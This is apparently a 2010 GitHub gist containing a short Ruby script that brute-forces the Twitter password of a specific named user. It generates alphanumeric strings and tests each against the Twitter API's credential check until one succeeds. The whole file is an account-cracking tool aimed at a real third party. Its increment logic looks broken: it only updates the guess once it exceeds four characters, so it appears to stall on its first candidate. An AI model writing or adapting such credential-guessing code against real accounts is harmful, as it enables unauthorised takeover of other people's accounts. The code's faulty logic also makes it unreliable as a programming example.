Created
July 3, 2010 22:12
-
-
Save rafapolo/462876 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!ruby19 | |
# encoding: utf8 | |
# author: rafael polo | |
# created_at 11.mar.2010 | |
# updated_at 03.jul.2010 | |
require 'rubygems' | |
require 'twitter' | |
OPTS = [('a'..'z'),('A'..'Z'),('0'..'9')].map{|n| n.to_a }.flatten | |
@user = 'huckluciano' | |
def isPasswd(passwd) | |
begin | |
conta = Twitter::Base.new(Twitter::HTTPAuth.new(@user, passwd)).verify_credentials | |
rescue Twitter::Unauthorized | |
puts "Não é #{@current}" | |
return false | |
else | |
puts "Senha: #{@current}" | |
return true | |
end | |
end | |
def crack | |
current_array = @current.split(//) | |
if current_array.all? {|o| o == OPTS.last} | |
current_array = [OPTS.first]*(current_array.length+1) | |
else | |
poped = [] | |
poped << current_array.pop while current_array.last == OPTS.last | |
last = current_array.pop | |
current_array.push OPTS[OPTS.index(last)+1] | |
current_array += ([OPTS.first]*poped.length) | |
end | |
@current = current_array.join if current_array.size > 4 | |
end | |
puts "Iniciando..." | |
@current = OPTS.first | |
while !isPasswd(@current) do | |
crack | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment